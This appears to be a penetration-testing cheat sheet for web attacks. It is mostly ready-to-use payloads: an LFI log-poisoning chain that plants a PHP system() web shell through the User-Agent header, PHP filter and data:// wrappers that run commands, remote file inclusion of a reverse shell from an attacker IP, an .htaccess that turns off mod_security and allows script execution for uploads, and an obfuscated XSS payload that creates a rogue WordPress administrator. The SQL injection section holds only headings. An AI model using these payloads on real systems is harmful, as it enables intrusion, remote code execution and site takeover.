Web Attack

Local File Inclusion (LFI)

Log Poisoning

1

Find the log file

curl <Domain Name>?page=../../../../../../../../<Path To Log File>
2

Access the website and forward that request to Repeater in BurpSuite

3

Replace User Agent with the following

<?php echo system($_GET['cmd']); ?>
4

Send the request

5

Remove the entire User Agent field in the subsequent request

6

Attack

<Domain Name>?page=../../../../../../../../<Path To Log File>&cmd=<Command>

File Uploads

1

Create a reverse shell

2

Upload the file

3

Access the file

4

If uploading or accessing the file fails

Create a .htacess file with the following content

# Allow access to all file types, including potentially dangerous ones
AddType application/octet-stream .exe .ps1 .bat .sh .php5 .php7 .php .phtml .pl .py
AddHandler application/x-httpd-php .php .php5 .php7 .phtml

# Override any restrictive settings
Options +Indexes +ExecCGI
AllowOverride All
Require all granted

# Disable mod_security and other restrictions (if supported)
<IfModule mod_security.c>
    SecFilterEngine Off
    SecFilterScanPOST Off
</IfModule>

# Enable uploads with any extension (if used with web apps)
<FilesMatch ".*">
    Order allow,deny
    Allow from all
</FilesMatch>

Upload this file.

NOTE: This only works if the server is Apache, and .htaccess is enabled

PHP Wrappers

curl <Domain Name>?page=php://filter/convert.base64-encode/resource=<Path To File>
curl "<Domain Name>?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=<Command in URL encoding>"

Remote File Inclusion (RFI)

curl "<Domain Name>?page=http://<Kali IP Address>/<Reverse Shell File>"

XSS

1

Compress the functions using JScompressarrow-up-right

var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php"; // Replace with the actual endpoint
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=hacker@test.com&pass1=hacker&pass2=hacker&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
2

Convert the compressed JavaScript to UTF-16

function encode_to_javascript(string) {
    var input = string
    var output = '';
    for(pos = 0; pos < input.length; pos++) {
        output += input.charCodeAt(pos);
        if(pos != (input.length - 1)) {
            output += ",";
        }
    }
    return output;
}
let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)
3

Attack

curl -i <Domain Name> --user-agent "<script>eval(String.fromCharCode(<UTF-16 Encoded String>))</script>"

SQL Injection (SQLi)

SQLi Authentication Bypass

MySQL

MSSQL

PostgreSQL

MongoDB (NoSQL Injection)

Error-Based SQLi

Union-Based SQLi

Manual Code Execution in MSSQL

Encoded Examples

One-Liner Reverse Shell (MSSQL)

Last updated